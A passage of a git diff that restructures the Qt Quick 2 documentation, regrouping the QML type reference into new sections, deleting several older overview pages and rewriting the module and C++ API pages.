basic QML language object types: \l{QML::QtObject} and +\l{QML::Component}. Both of those basic types are available from the QtQuick +import. -\target elements +\section1 Visual Types -These are the functionally grouped lists of Qt Quick elements as part of -\l{Qt Quick}. You can also browse the module pages for \l{QtQuick 2} and \l{QtQuick.Particles 2} - -Elements are declared with the their name and two curly braces. Elements may -be nested in elements, thereby creating a parent-child relationship between the -two elements. - -\section1 Basic Elements -\list -\li \l {Item} - Basic item element inherited by visual elements -\endlist - -\section1 Graphics \list -\li \l {Rectangle} - A rectangle element +\li \l {Item} - Basic visual object type inherited by visual object types (visual items) +\li \l {Rectangle} - A rectangle type \li \l {Image} - For incorporating bitmaps into a scene \li \l {BorderImage} - Allows the use of images as borders -\li \l {AnimatedSprite} - For playing animations stored as a series of frames \li \l {AnimatedImage} - For playing animations stored as an animated GIF +\li \l {AnimatedSprite} - For playing animations stored as a series of frames +\li \l {Text} - For inserting formatted text into a scene +\li \l {TextInput} - Captures user key input +\li \l {TextEdit} - Displays multiple lines of editable formatted text +\li \l {Canvas} - Provides a 2D canvas type similar to the HTML5 canvas +\li \l {Window} - Provides a top-level window +\endlist + +Visual object utility types +\list +\li \l {Accessible} - Attached property to make components accessible \li \l {Gradient} - For defining a color gradient \li \l {GradientStop} - Used to define a color within a \l {Gradient} \li \l {SystemPalette} - Provides access to the Qt palettes -\li \l {Canvas} - Provides a 2D canvas element +\li \l {Screen} - Provides information about the screen on which an \l {Item} is displayed +\li \l {Sprite} - Specifies sprite animations \li \l {SpriteSequence} - For playing and transitioning between multiple animations stored as a series of frames +\li \l {SpriteGoal} - For changing the state of a Sprite \endlist -\section1 Text Handling +\section1 User Input Types + \list -\li \l {Text} - For inserting formatted text into a scene +\li \l {MouseArea} - Sets up an area for mouse interaction +\li \l {Keys} - Provides components with attached properties to handle key input. +\li \l {KeyNavigation} - Supports key navigation by arrow keys +\li \l {FocusScope} - Element that mediate keyboard focus changes +\li \l {Flickable} - Provides a surface that can be "flicked" +\li \l {Flipable} - Provides a surface that produces "flipping" effects +\li \l {PinchArea} - Enables simple pinch gesture handling +\li \l {MultiPointTouchArea} - Enables handling of multiple touch points +\li \l {Drag} - For specifying drag and drop events for visual items +\li \l {DropArea} - For specifying drag and drop event handling in an area \li \l {TextInput} - Captures user key input \li \l {TextEdit} - Displays multiple lines of editable formatted text +\endlist + +Text input utility types +\list \li \l {IntValidator} - Validates values as integers \li \l {DoubleValidator} - Validates real values \li \l {RegExpValidator} - Validator for string regular expressions \li \l {FontLoader} - Loads fonts by name or URL \endlist -\section1 Mouse and Interaction Area +User input events \list -\li \l {MouseArea} - Sets up an area for mouse interaction -\li \l {Keys} - Provides components with attached properties to handle key input. -\li \l {FocusScope} - Element that mediate keyboard focus changes -\li \l {Flickable} - Provides a surface that can be "flicked" -\li \l {Flipable} - Provides a surface that produces "flipping" effects -\li \l {PinchArea} - Enables simple pinch gesture handling -\li \l {MultiPointTouchArea} - Enables handling of multiple touch points +\li \l {TouchPoint} - Describes a touch point in a MultiPointTouchArea +\li \l {PinchEvent} - Specifies information about a pinch event +\li \l {WheelEvent} - Provides information about a mouse wheel event +\li \l {MouseEvent} - Provides information about a mouse click event +\li \l {KeyEvent} - Provides information about a key press event +\li \l {DragEvent} -Provides information about a drag event \endlist -\section1 Positioners and Repeater +\section1 Positioning + \list +\li \l {Positioner} - Provides information about where an Item exists within a layout \li \l {Column} - Arranges its children vertically \li \l {Row} - Arranges its children horizontally \li \l {Grid} - Positions its children in a grid \li \l {Flow} - Positions its children with wrapping support \li \l {Repeater} - Uses a model to create multiple components +\li \l {qtquick-concepts-positioning-anchors.html}{Anchor} - Allows visual items to be anchored together +\li \l {LayoutMirroring} - Attached property used to mirror layout behavior \endlist -\section1 Transformations -\list -\li \l {Scale} - Assigns item scaling behaviors -\li \l {Rotation} - Assigns item rotation behaviors -\li \l {Translate} - Assigns item translation behaviors -\endlist +\section1 States, Transitions And Animations -\section1 States +States \list \li \l {State} - Defines sets of configurations of objects and properties \li \l {PropertyChanges} - Describes property changes within a state @@ -105,11 +122,12 @@ two elements. \li \l {StateChangeScript} - Allows script binding in a state \li \l {ParentChange} - Re-parent an Item in a state change \li \l {AnchorChanges} - Change the anchors of an item in a state -\endlist -\section1 Animation and Transitions +Transitions and Animations +\endlist \list \li \l {Transition} - Animates transitions during state changes +\li \l {ViewTransition} - Specifies items under transition in a view \li \l {SequentialAnimation} - Runs animations sequentially \li \l {ParallelAnimation} - Runs animations in parallel \li \l {Behavior} - Specifies a default animation for property changes @@ -138,56 +156,95 @@ Elements that provide lower-level animation control \li \l {AnimationController} - Allows manual control of animation progress \endlist -\section1 Models and Data Handling +Animation paths +\list +\li \l {Path} - Defines a path used by \l {PathView} +\li \l {PathLine} - Defines a line in \l {Path} +\li \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} +\li \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} +\li \l {PathArc} - Defines an arc in a \l {Path} +\li \l {PathCurve} - Defines a point on a Catmull-Rom curve in a \l {Path} +\li \l {PathSvg} - Defines a sub-path specified as a SVG path data string in a \l {Path} +\li \l {PathAttribute} - Allows the setting of attributes along a \l {Path} +\li \l {PathPercent} - Modifies the item distribution along a \l {Path} +\endlist + +Visual object transformations +\list +\li \l {Transform} - Allows specification of advanced transformations on Items +\li \l {Scale} - Assigns item scaling behaviors +\li \l {Rotation} - Assigns item rotation behaviors +\li \l {Translate} - Assigns item translation behaviors +\endlist + +\section1 Interceptors + +\list +\li \l {Connections} - Explicitly connects signals and signal handlers +\li \l {Binding} - Binds any value to any property +\li \l {Timer} - Provides timed triggers +\li \l {Behavior} - Triggers animations when a property value is set +\endlist + +\section1 Model/View Types And Data Storage And Access + +Models And Model Data \list \li \l {QtQuick2::ListModel}{ListModel} - Defines a list of data \li \l {QtQuick2::ListElement}{ListElement} - Defines a data item in a \l {QtQuick2::ListModel}{ListModel} \li \l {VisualItemModel} - Contains items that already defines its own visual delegate \li \l {VisualDataModel} - Encapsulates a model and a delegate +\li \l {VisualDataGroup} -Encapsulates a filtered set of visual data items \li \l {XmlListModel} - Specifies a model using XPath expressions \li \l {XmlRole} - Specifies a role for an \l {XmlListModel} -\li \l {Binding} - Binds any value to any property -\li \l {Package} - Collection that enables sharing of items within different views +\li \l {FolderListModel} - Provides a model of the contents of a file system folder +\li \l {Repeater} - Provides a simple model to create multiple visual objects \endlist -\section1 Views +Views \list \li \l {ListView} - Provides a list visualization of a model \li \l {GridView} - Provides a grid visualization of a model \li \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. +\li \l {Package} - Collection that enables sharing of items within different views \endlist -\section1 Path Definition +Data Storage \list -\li \l {Path} - Defines a path used by \l {PathView} -\li \l {PathLine} - Defines a line in \l {Path} -\li \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} -\li \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} -\li \l {PathArc} - Defines an arc in a \l {Path} -\li \l {PathCurve} - Defines a point on a Catmull-Rom curve in a \l {Path} -\li \l {PathSvg} - Defines a sub-path specified as a SVG path data string in a \l {Path} -\li \l {PathAttribute} - Allows the setting of attributes along a \l {Path} -\li \l {PathPercent} - Modifies the item distribution along a \l {Path} +\li \l {LocalStorage} - Module API providing simplified SQL access \endlist -\section1 Utility -\list -\li \l {Connections} - Explicitly connects signals and signal handlers -\li \l {Timer} - Provides timed triggers -\li \l {Loader} - Controls the loading of items or components -\endlist +\section1 Particles And Graphical Effects -\section1 Graphical Effects \list \li \l {ShaderEffect} - Allows GLSL shaders to be used as graphical effects \li \l {ShaderEffectSource} - Usable as a texture in ShaderEffect \li \l {GridMesh} - Generates a gird mesh of vertices for use by ShaderEffect -\li The \l{QtQuick.Particles 2} module provides a set of Particle System elements for QtQuick 2 +\li The \l{QtQuick.Particles 2} module provides a set of Particle System types for QtQuick 2 \endlist -\section1 Accessibility +\section1 Canvas (similar to HTML5 canvas) + \list -\li \l {Accessible} - Attached property to make components accessible +\li \l {Canvas} - Provides a 2D canvas type similar to the HTML5 canvas +\li \l {Context2D} - Provides 2D context for shapes on a Canvas item +\li \l {CanvasGradient} - Allows specification of a gradient on a Canvas +\li \l {CanvasPixelArray} - Allows specification of a pixel array for use in a Canvas +\li \l {CanvasImageData} - Allows specification of image data for use in a Canvas +\li \l {TextMetrics} - Provides text and font measurement data for use in a Canvas +\endlist + +\section1 Dynamic Instantiation Enablers + +\list +\li \l {QML::Component} - Provides a type-instance factory allowing dynamic instantiation +\li \l {Loader} - Controls the loading of items or components +\endlist + +\section1 Threading + +\list +\li \l {WorkerScript} - Enables the use of threads in a Qt Quick application \endlist */ diff --git a/src/quick/doc/src/qtdeclarative.qdoc b/src/quick/doc/src/qtdeclarative.qdoc deleted file mode 100644 index 9ebac42fa0..0000000000 --- a/src/quick/doc/src/qtdeclarative.qdoc +++ /dev/null @@ -1,97 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\title Qt Quick -\page qtquick-reference.html -\inqmlmodule QtQuick 2 -\ingroup qt-gui-concepts -\ingroup overviews - -\brief Qt Quick provides a declarative framework for building highly -dynamic applications. - -For App Developers and Designers, who want to deliver apps with amazing user -experience, Qt provides the QML language, the Qt Quick types, and tools in Qt -Creator that make it faster than ever to transform your brilliant idea into a -winning App across mobile, embedded, and desktop platforms. - -\target qtquick-overviews -\section1 QML - the Declarative Language - - QML is a declarative language for creating flexible and reusable types. - The QML runtime powers QML based applications. The runtime includes a QML - engine, JavaScript engine, and mechanism to bind to C++ types. - - \list - \li \l{QML - the Declarative Language}{QML} - the declarative language - \endlist - -\section1 Qt Quick User Interfaces - -Qt Quick features QML visual types, user input system, animation system, and data visualization through models and delegates. - - \list - \li \l{UI Creation with Qt Quick} - \endlist - -\section1 QML Scene Graph - -Qt Quick features a high-performance rendering scene graph based on OpenGL. -The scene graph offers a C++ API which allows developers to create their own unique -and stunning graphical elements. - - \list - \li \l{QML Scene Graph} - \endlist - -\section1 QML Engine -There is a QML engine which runs QML applications. It includes C++ classes -that loads and initializes QML code and a JavaScript engine for running -expressions. - \list - \li \l{The QML Engine} - \li \l{Qt Declarative UI Runtime}{Declarative Runtime} - \endlist - -\section1 SQL Local Storage - -The SQL Local Storage provides a JavaScript interface to an SQLite database. -To use, import the \c QtQuick.LocalStorage module into a namespace with the -\c as keyword. - -\code -import QtQuick.LocalStorage 2.0 as Sql -\endcode - -The SQL Local Storage page has more information about the interface. -\list - \li \l{Local Storage}{SQL Local Storage} -\endlist - -*/ - diff --git a/src/qml/doc/src/types/globalobject.qdoc b/src/quick/doc/src/qtquick-cpp.qdoc index 26a974cf2e..5a3384f51b 100644 --- a/src/qml/doc/src/types/globalobject.qdoc +++ b/src/quick/doc/src/qtquick-cpp.qdoc @@ -25,17 +25,26 @@ ** ****************************************************************************/ /*! -\page qml-globalobject.html -\title QML Global Object -\brief the global functions included in the QML engine + \module QtQuick + \title Qt Quick Module C++ API Reference -The QML engine provides several global objects. These global objects do not -need to be imported and provide basic functions to QML applications. + \brief The Qt Quick module provides classes for embedding Qt Quick + in Qt/C++ applications. -\section1 QML Global Object + To include the definitions of the module's classes, use the + following directive: -Included in the \c{QtQuick 2.0} module is the \l{QmlGlobalQtObject}{Qt object}. -It contains several helpful functions that are available to elements and -components. + \code + #include <QtQuick> + \endcode + To link against the module, add this line to your \l qmake \c + .pro file: + + \code + QT += quick + \endcode + + For more information on the Qt Quick module, see the + \l{qtquick-main.html}{Qt Quick module} documentation. */ diff --git a/src/quick/doc/src/qtquick-intro.qdoc b/src/quick/doc/src/qtquick-intro.qdoc deleted file mode 100644 index 56f507dd82..0000000000 --- a/src/quick/doc/src/qtquick-intro.qdoc +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-intro.html -\title Introduction to Qt Quick - -Qt Quick is a collection of technologies that are designed to help developers -create the kind of intuitive, modern, and fluid user interfaces that are -increasingly used on mobile phones, media players, set-top boxes, and other -portable devices. Qt Quick consists of a rich set of user interface -\l{QML Elements}{elements}, a \l{QML Syntax}{declarative} language for -describing user interfaces, and a language \l{QtQml Module}{runtime}. A -collection of C++ APIs is used to integrate these high level features with -classic Qt applications. Version 2.1 of the Qt Creator integrated development -environment (IDE) introduces tools for developing Qt Quick applications. - -\image qml-clocks-example.png - -\section1 The QML Language - -QML is a high level language that uses a declarative syntax to define how the -user interface should appear and behave. QML is used to build interfaces using -a collection of standard elements for fundamental user interface features. -These elements expose properties that can be changed at run-time, allowing -visual elements to be animated and used in transitions between states of the -user interfaces. - -\div{class="float-left"} -\inlineimage qml-dialcontrol-example.png -\enddiv -A Dial element might define a \e value property that can be used to control -the position of the needle on the dial. The element could be declared to -use a slider that adjusts the value of this property. - -\snippet examples/tutorials/ui-components/dialcontrol/dialcontrol.qml the dial in use - -Building user interfaces by importing these elements and linking their properties -together is one of the fundamental features of QML and Qt Quick. - -\clearfloat -Behind the scenes, QML leverages the power and efficiency of the Qt libraries -to provide rendering facilities, perform processor-intensive operations, and -to access components written in C++. - -The QML language also gives the developer more flexibility to create parts -of their user interface by allowing \l{About JavaScript}{JavaScript} to be -used to implement high level user interface logic. - -\l{How to Learn QML} introduces the reader to the language and declarative -concepts. - -\section1 QtQml Module - -To make Qt Quick possible, Qt introduces the \l{QtQml} module. The -module creates a JavaScript runtime that QML runs under with a Qt based backend. -Because QtQml and QML are built upon Qt, they inherit many of Qt's -technology, namely the \l{Signals and Slots}{signals and slots} mechanism and -the \l{The Meta-Object System}{meta-object} system. Data created using C++ are -directly accessible from QML, and QML objects are also accessible from C++ code. - -The QtQml module separates the interface logic in QML from the -application logic in C++. It also allows the range of standard QML elements -to be \l{Extending QML with C++}{extended with new ones written in C++}. - -\section1 Qt Creator Tools - -Qt Creator is a complete integrated development environment (IDE) for creating -applications with Qt Quick and the Qt application framework. - -\image qmldesigner-visual-editor.png - -The main goal for Qt Creator is meeting the development needs of Qt Quick -developers who are looking for simplicity, usability, productivity, -extendibility and openness, while aiming to lower the barrier of entry for -newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers -and developers to accomplish the following tasks: -\list -\li Get started with Qt Quick application development quickly and easily with -examples, tutorials, and project wizards. -\li Design application user interface with the integrated editor, Qt Quick -Designer, or use graphics software to design the user interface and use scripts -to export the design to Qt Quick Designer. -\li Develop applications with the advanced code editor that provides new powerful -features for completing code snippets, refactoring code, and viewing the element -hierarchy of QML files. -\li Build and deploy Qt Quick applications that target multiple desktop and -mobile platforms, such as Microsoft Windows, Mac OS X, Linux, and Maemo. -\li Debug JavaScript functions and execute JavaScript expressions in the current -context, and inspect QML at runtime to explore the object structure, debug -animations, and inspect colors. -\li Deploy applications to mobile devices and create application installation -packages for Maemo devices that can be published in the Ovi Store -and other channels. -\li Easily access information with the integrated context-sensitive Qt Help -system. -\endlist - -\image qtcreator-target-selector.png - -\section1 Where to Go from Here - -\l{external: Developing Qt Quick Applications with Creator} -{Developing Qt Quick Applications with Creator} provides an overview -of user interface development using the visual \e{Qt Quick Designer} tool. - -\l{How to Learn QML} introduces the reader to the language and declarative -concepts. - -The \l{QML Reference} page has links to various Qt Quick topics such as QML -features, addons, and tools. - -The \l {Qt Quick Code Samples} page has a gallery of QML applications. - -\section1 License Information -\list -\li \l{Qt Quick Licensing Information} -\endlist -*/ diff --git a/src/quick/doc/src/qtquick.qdoc b/src/quick/doc/src/qtquick.qdoc index c38ef3c801..d1f3755815 100644 --- a/src/quick/doc/src/qtquick.qdoc +++ b/src/quick/doc/src/qtquick.qdoc @@ -26,27 +26,82 @@ ****************************************************************************/ /*! - \module QtQuick - \title Qt Quick Module - \ingroup modules +\page qtquick-main.html +\title Qt Quick Module +\brief The Qt Quick module implements the "standard library" for QML - \brief The Qt Quick module provides classes for embedding Qt Quick - in Qt/C++ applications. +\section1 Overview Of The Qt Quick Module - To include the definitions of the module's classes, use the - following directive: +The Qt Quick module is the standard library for the QML language (which is +defined and implemented by the \l{qtqml-main.html}{Qt QML module}). +The Qt Quick module provides a visual canvas, visual item types, an animation +framework, and types which make dynamic instantiation of objects more +convenient. It also provides the QQuickView C++ class to enable displaying +a user-interface written in Qt Quick. - \code - #include <QtQuick> - \endcode +In summary, Qt Quick provides a library of visual types to allow building a +user-interface, and the C++ API to instantiate and interact with it. - To link against the module, add this line to your \l qmake \c - .pro file: +\section1 Qt Quick Module Documentation - \code - QT += quick - \endcode +\list + + \li \l{qtquick-concepts-topic.html}{Important Concepts In Qt Quick} + \list + \li \l{qtquick-concepts-topic.html#the-visual-canvas}{The Visual Canvas} + \li \l{qtquick-concepts-topic.html#positioning}{Positioning} + \li \l{qtquick-concepts-topic.html#user-input}{User Input} + \li \l{qtquick-concepts-topic.html#event-interceptors}{Event Interceptors} + \li \l{qtquick-concepts-statesanimations.html}{States, Transitions And Animations} + \li \l{qtquick-concepts-topic.html#data-models-views-and-data-storage}{Data - Models, Views and Data Storage} + \li \l{qtquick-concepts-topic.html#graphical-effects-and-particles}{Graphical Effects And Particles} + \li \l{qtquick-concepts-topic.html#defining-and-using-modular-components}{Defining And Using Modular Components} + + \endlist + + \li \l{qtquick-qmltypereference.html}{QML Types Provided By The Qt Quick Module} + \list + \li \l{qtquick-qmltypereference.html#visual-types}{Visual Types} + \li \l{qtquick-qmltypereference.html#user-input-types}{User Input Types} + \li \l{qtquick-qmltypereference.html#positioning}{Positioning} + \li \l{qtquick-qmltypereference.html#states-transitions-and-animations}{States, Transitions And Animations} + \li \l{qtquick-qmltypereference.html#interceptors}{Interceptors} + \li \l{qtquick-qmltypereference.html#model-view-types-and-data-storage-and-access}{Model/View Types And Data Storage And Access} + \li \l{qtquick-qmltypereference.html#particles-and-graphical-effects}{Particles And Graphical Effects} + \li \l{qtquick-qmltypereference.html#canvas-similar-to-html5-canvas}{Canvas (similar to HTML5 Canvas)} + \li \l{qtquick-qmltypereference.html#dynamic-instantiation-enablers}{Dynamic Instantiation Enablers} + \endlist + + \li \l{qtquick-cppextensionpoints.html}{C++ Extension Points} + \list + \li \l{qtquick-cppextensionpoints.html#user-defined-qquickitem-derived-types}{User-Defined QQuickItem-Derived Types} + \li \l{qtquick-cppextensionpoints.html#scene-graph-related-classes}{Scene Graph-Related Classes} + \endlist + +\endlist + +\section1 Reference Documentation + +More information about the Qt Quick module is contained within the class and +function documentation of the \l{qtquick-apireference.html} +{Qt Quick Module API Reference}. The QML types provided by the Qt Quick module +are listed in the \l{qtquick-qmltypereference.html} +{Qt Quick Module QML Type Reference} page. + +Application developers who are interested in writing applications using QML +should start by reading the \l{qtquick-applicationdevelopers.html} +{QML Application Developer Resources}. The documentation for the +\l{qtqml-main.html}{Qt QML} module is also an indispensible resource for +application developers who are using Qt Quick, as it provides the definition +and implementation of the QML language (for which Qt Quick is the standard +library of types and functionality). + +Quick Links: +\list +\li \l{qtquick-qmltypereference.html}{Qt Quick Module QML Type Reference} +\li \l{qtquick-module.html}{Qt Quick Module C++ API Reference} +\li \l{qtqml-main.html}{Qt QML Module Documentation} +\li \l{qtquick-applicationdevelopers.html}{QML Application Developer Resources} +\endlist - For more information on the Qt Quick module, see the - \l{Qt Quick} documentation. */ diff --git a/src/quick/doc/src/qtquick2.qdoc b/src/quick/doc/src/qtquick2.qdoc deleted file mode 100644 index 93f564025d..0000000000 --- a/src/quick/doc/src/qtquick2.qdoc +++ /dev/null @@ -1,38 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \qmlmodule QtQuick 2 - \title QML Module QtQuick 2 - - \brief Contains QML types for creating applications - - This QML module contains all the QML types that are - instantiated as objects of C++ classes in the QtQml - module. These types work with the Scenegraph renderer and - their own canvas. - */ diff --git a/src/quick/doc/src/qtquicktypes.qdoc b/src/quick/doc/src/qtquicktypes.qdoc deleted file mode 100644 index d064565714..0000000000 --- a/src/quick/doc/src/qtquicktypes.qdoc +++ /dev/null @@ -1,174 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-types.html -\title Qt Quick Types -\brief A listing of standard types in Qt Quick - - - -These are the functionally grouped lists of Qt Quick types as part of -\l{Qt Quick}. You can also browse the module pages for \l{QtQuick 2} and \l{QtQuick.Particles 2} - -\section1 Qt Quick Submodules - - \section2 Particle Effects - - The \l{QtQuick.Particles 2} module provides a set of Particle System types - for QtQuick 2. The \l{Using the Qt Quick Particle System} article describes - the particle system. - - \section2 Local Storage - The \l{Local Storage}{SQL Local Storage} submodule contains a - JavaScript interface for an SQLite database. - - \section2 XmlListModel - - The \l{QtQuick.XmlListModel 2.0} submodule contains contains the - \l{XmlListModel} type, for using remote XML data as a model. - -\section1 Visual Types - These types are described in the \l{qtquick-visual-types}{Visual Types} - overview. - \annotatedlist qtquick-visual-types - -\section1 Images - These types are described in the - \l{qtquick-images}{Images} overview. - \annotatedlist qtquick-images - -\section2 Sprites - These types are described in the - \l{qtquick-images-sprites}{Sprite Animations} overview. - \annotatedlist qtquick-images-sprites - -\section1 Item Graphics - These types are described in the \l{qtquick-item-graphics}{Item Graphics} - overview. - \annotatedlist qtquick-item-graphics - -\section1 Shader Effects - - These types are described in the \l{qtquick-shaders}{Shader Effects} - overview. - \annotatedlist qtquick-shaders - -\section1 Canvas API - - These types are described in the \l{qtquick-canvas}{Canvas API} overview. - \annotatedlist qtquick-canvas -\section1 Text Handling - These types are described in the - \l{Qt Quick Text Handling and Validators}{Text Handling and Validators} - overview. - \annotatedlist qtquick-text - -\section2 Validators - These types are described in the - \l{Qt Quick Text Handling and Validators}{Text Handling and Validators} - overview. - \annotatedlist qtquick-text-validator - -\section1 User Interaction - - These types are described in the - \l{qtquick-interaction}{Interaction}Â overview. - \annotatedlist qtquick-interaction - -\section1 Transformations - - These types are described in the \l{qtquick-transformations}{Transformation Types} overview. - \annotatedlist qtquick-transformations - -\section1 States - - These types are described in the \l{qtquick-states}{States} - overview. - \annotatedlist qtquick-states - -\section1 Animation and Transitions - These types are described in the - \l{qtquick-animation-define}{Animation and Transitions}Â overview. - \annotatedlist qtquick-animation-define - - \section2 Property Animation - - These types animate property changes and are described in the - \l{qtquick-animation-define}{Animation and Transitions}Â overview. - \annotatedlist qtquick-animation-properties - - \section2 Animation Controls - - These types provide lower-level animation control. These types are - described in the - \l{qtquick-animation-define}{Animation and Transitions}Â overview. - \annotatedlist qtquick-animation-control - - \section2 Animation Modifiers - - These types provide specialized changes during the animation. These - types are described in the - \l{qtquick-animation-define}{Animation and Transitions}Â overview. - \annotatedlist qtquick-animation-modifiers - -\section1 Models - These types are described in the \l{qtquick-models}{Qt Quick Models} - overview. The \l{Models and Views} overview has information about displaying - data with views and delegates. - \annotatedlist qtquick-models - -\section1 Views, Positioners, and Specialized Containers - - \section2 Views - These types are described in the \l{qtquick-views}{Views} overview. - The \l{Models and Views} overview has information about displaying data with - models and delegates. - \annotatedlist qtquick-views - - \section2 Containers - These types are described in the \l{qtquick-containters}{Containers} - overview. - \annotatedlist qtquick-containers - - \section1 Positioners - These types are described in the \l{qtquick-positioners}{Positioners} - overview. - \annotatedlist qtquick-positioners - -\section1 Paths - - These types are described in the \l{qtquick-paths}{Paths} overview. - \annotatedlist qtquick-paths - -\section1 Utility - - These types are described in the \l{qtquick-utility}{Object Utilities} - overview. - \annotatedlist qtquick-utility - -*/ diff --git a/src/quick/doc/src/uicreation.qdoc b/src/quick/doc/src/uicreation.qdoc deleted file mode 100644 index 51ed521625..0000000000 --- a/src/quick/doc/src/uicreation.qdoc +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - -\page qtquick-uicreation.html -\title UI Creation with Qt Quick - -Qt Quick features graphical types, user input system, animation system, and data -visualization through models and delegates. - -\section1 Import the QtQuick Types -Qt Quick module contains several submodules which implement application user -interfaces. - -\list -\li QtQuick - provides the visual types necessary for building dynamic user interfaces -\li QtQuick.Particles - a particle system for creating special effects -\li QtQuick.XmlListModel - for constructing a model from an XML data source -\endlist - -To use the types in the modules, import the modules. -\code -import QtQuick 2.0 -import QtQuick.Particles 2.0 -import QtQuick.XmlListModel 2.0 -\endcode - -\section1 Graphics and Special Effects - \list - \li \l{Basic Elements}{Basic Elements} - \li \l{qtquick-canvas}{Painting with Canvas API} - \li \l{Using the Qt Quick Particle System}{Particle Effects} - \li \l{qtquick-shaders}{Shader Effects} - \endlist - -\section1 Anchoring and Layouts - \list - \li \l{Item Layouts} - \li \l{Layouts with Anchors} - \li \l{Right-to-left User Interfaces}{Right-to-left User Interfaces} - \endlist - -\section1 Mouse and Keyboard Input - - \list - \li \l{Mouse Events}{Mouse Events} - \li \l{Text Handling and Validators}{Text Handling and Validators} - \li \l{Keyboard Focus in QML}{Keyboard Focus} - \endlist - -\section1 States and Transitions - - \list - \li \l{Qt Quick States}{States} - \li \l{Animation and Transitions} - \endlist - -\section1 Data with Models and Views - -\list -\li \l{Models and Views} -\endlist - -*/ diff --git a/src/quick/doc/src/views.qdoc b/src/quick/doc/src/views.qdoc deleted file mode 100644 index a27625ec62..0000000000 --- a/src/quick/doc/src/views.qdoc +++ /dev/null @@ -1,35 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\group qtquick-views -\title Qt Quick Views -\brief Presenting data in a view - -\section1 Related Types -\generatelist{related} -*/ diff --git a/src/quick/doc/src/visualtypes.qdoc b/src/quick/doc/src/visualtypes.qdoc deleted file mode 100644 index a16c0a19c6..0000000000 --- a/src/quick/doc/src/visualtypes.qdoc +++ /dev/null @@ -1,35 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\group qtquick-visual-types -\title Qt Quick Visual Types -\brief Visible items in a scene - -\section1 Related Types -\generatelist{related} -*/ diff --git a/src/quick/doc/src/whatsnew.qdoc b/src/quick/doc/src/whatsnew.qdoc index 56cb341373..9c0046c4e0 100644 --- a/src/quick/doc/src/whatsnew.qdoc +++ b/src/quick/doc/src/whatsnew.qdoc @@ -28,7 +28,7 @@ /*! \title What's New in Qt Quick 2 \page 